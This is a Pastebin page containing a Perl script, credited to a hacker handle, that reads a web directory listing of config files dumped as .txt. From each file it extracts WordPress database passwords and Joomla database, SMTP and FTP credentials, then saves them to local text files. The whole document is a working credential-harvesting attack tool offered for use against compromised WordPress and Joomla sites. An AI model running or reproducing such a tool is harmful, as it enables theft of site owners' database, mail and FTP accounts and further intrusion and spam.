Advertisement
Guest User

SMTP

a guest
Jan 24th, 2019
635
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.71 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Am!Ne Coder
  3. # https://www.facebook.com/wtf.madafack
  4. # All From list config
  5. # All Saved from list.txt
  6. use LWP::UserAgent;
  7. use HTTP::Request;
  8. use Win32::Console::ANSI;
  9. use Term::ANSIColor;
  10. $ua = LWP::UserAgent->new;
  11. $ua->timeout(10);
  12. system(($^O eq 'MSWin32') ? 'cls' : 'clear');
  13. print color("bold green");
  14. print "-------";
  15. print color("reset");
  16. print colored("[ Coded By Am!Ne ]","bold white on_green");
  17. print color("reset");
  18. print color("bold green");
  19. print "-------";
  20. print color("reset");
  21. print color("bold yellow");
  22. print "
  23. 1/ Get password
  24. 2/ Get SMTP info
  25. 3/ Get ftp info
  26. ";
  27. print color("reset");
  28. print color("bold white");
  29. print " # reponse : ";
  30. print color("reset");
  31. $choix=<stdin>;
  32. chomp($choix);
  33. print color("bold yellow");
  34. print "Url Config : ";
  35. print color("reset");
  36. $url=<stdin>;
  37. chomp($url);
  38. $get = HTTP::Request->new(GET => $url);
  39. $req = $ua->request($get);
  40. $gets = $req->content;
  41. while($gets =~ m/<td><a href="(.*?).txt">/g) {
  42. $file = $1;
  43. $urlconfig = "$url/$file.txt";
  44. $files = $ua->get($urlconfig)->content;
  45. if($choix eq 1) {
  46. password();
  47. }
  48. if($choix eq 2) {
  49. smtp();
  50. }
  51. if($choix eq 3) {
  52. ftp();
  53. }
  54. sub password {
  55. print color("bold yellow");
  56. print "Grrabing Password Please ";
  57. print color("reset");
  58. print color("bold green");
  59. print "WAIT\n";
  60. print color("reset");
  61. sleep(2);
  62. if($files =~ /'DB_PASSWORD', '(.*?)'/) {
  63. print color("bold green");
  64. print "[+] ";
  65. print color("reset");
  66. print color("bold yellow");
  67. print "Wordpress Website : ";
  68. print color("reset");
  69. print color("bold green");
  70. print "Success\n";
  71. print color("reset");
  72. open(password,">>password.txt");
  73. print password "$1\n";
  74. close(password);
  75. }
  76. sleep(2);
  77. if($files =~ /\$password = '(.*?)';/) {
  78. print color("bold green");
  79. print "[+] ";
  80. print color("reset");
  81. print color("bold yellow");
  82. print "Joomla Website : ";
  83. print color("reset");
  84. print color("bold green");
  85. print "Success\n";
  86. print color("reset");
  87. open(password,">>password.txt");
  88. print password "$1\n";
  89. close(password);
  90. } else {
  91. sleep(2);
  92. print color("bold yellow");
  93. print "Grrabing Password Please ";
  94. print color("reset");
  95. print color("bold green");
  96. print "WAIT\n";
  97. print color("reset");
  98. print color("bold red");
  99. print "[-] Failed\n";
  100. print color("reset");
  101. }
  102. }
  103. sub smtp {
  104. print color("bold yellow");
  105. print "Grrabing SMTP Please ";
  106. print color("reset");
  107. print color("bold green");
  108. print "WAIT\n";
  109. print color("reset");
  110. sleep(2);
  111. if($files !~ /joomla/) {
  112. print color("bold red");
  113. print "No SMTP here !\n";
  114. print color("reset");
  115. next;
  116. }
  117. sleep(2);
  118. if($files =~ /\$smtpauth = '0';/) {
  119. print color("bold red");
  120. print "No SMTP here !\n";
  121. print color("reset");
  122. } else {
  123. print color("bold green");
  124. print "Grrabing Success\n";
  125. print color("reset");
  126. sleep(1);
  127. if($files =~ /\$smtpuser = '(.*?)';/) {
  128. print color("bold green");
  129. print "user : ";
  130. print color("reset");
  131. print color("bold white");
  132. print "$1\n";
  133. print color("reset");
  134. $user = $1;
  135. }
  136. sleep(1);
  137. if($files =~ /\$smtppass = '(.*?)';/) {
  138. print color("bold green");
  139. print "pass : ";
  140. print color("reset");
  141. print color("bold white");
  142. print "$1\n";
  143. print color("reset");
  144. $pass = $1;
  145. }
  146. sleep(1);
  147. if($files =~ /\$smtphost = '(.*?)';/) {
  148. print color("bold green");
  149. print "host : ";
  150. print color("reset");
  151. print color("bold white");
  152. print "$1\n";
  153. print color("reset");
  154. $host = $1;
  155. }
  156. sleep(1);
  157. if($files =~ /\$smtpport = '(.*?)';/) {
  158. print color("bold green");
  159. print "port : ";
  160. print color("reset");
  161. print color("bold white");
  162. print "$1\n";
  163. print color("reset");
  164. $port = $1;
  165. }
  166. open(smtp,">>smtp.txt");
  167. print smtp "======================\nuser : $user \n pass = $pass\n host : $host\n port : $port\n======================\n";
  168. close(smtp);
  169. }
  170. }
  171. sub ftp {
  172. print color("bold yellow");
  173. print "Grrabing FTP Please ";
  174. print color("reset");
  175. print color("bold green");
  176. print "WAIT\n";
  177. print color("reset");
  178. sleep(2);
  179. if($files !~ /joomla/) {
  180. print color("bold red");
  181. print "No FTP here !\n";
  182. print color("reset");
  183. next;
  184. }
  185. sleep(2);
  186. if($files =~ /\$ftp_enable = '0';/) {
  187. print color("bold red");
  188. print "No FTP here !\n";
  189. print color("reset");
  190. } else {
  191. print color("bold green");
  192. print "Grrabing Success\n";
  193. print color("reset");
  194. sleep(1);
  195. if($files =~ /\$ftp_user = '(.*?)';/) {
  196. print color("bold green");
  197. print "user : ";
  198. print color("reset");
  199. print color("bold white");
  200. print "$1\n";
  201. print color("reset");
  202. $user = $1;
  203. }
  204. sleep(1);
  205. if($files =~ /\$ftp_pass = '(.*?)';/) {
  206. print color("bold green");
  207. print "pass : ";
  208. print color("reset");
  209. print color("bold white");
  210. print "$1\n";
  211. print color("reset");
  212. $pass = $1;
  213. }
  214. sleep(1);
  215. if($files =~ /\$ftp_host = '(.*?)';/) {
  216. print color("bold green");
  217. print "host : ";
  218. print color("reset");
  219. print color("bold white");
  220. print "$1\n";
  221. print color("reset");
  222. $host = $1;
  223. }
  224. sleep(1);
  225. if($files =~ /\$ftp_port = '(.*?)';/) {
  226. print color("bold green");
  227. print "port : ";
  228. print color("reset");
  229. print color("bold white");
  230. print "$1\n";
  231. print color("reset");
  232. $port = $1;
  233. }
  234. open(ftp,">>ftp.txt");
  235. print ftp "======================\nuser : $user \n pass = $pass\n host : $host\n port : $port\n======================\n";
  236. close(ftp);
  237. }
  238. }
  239. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement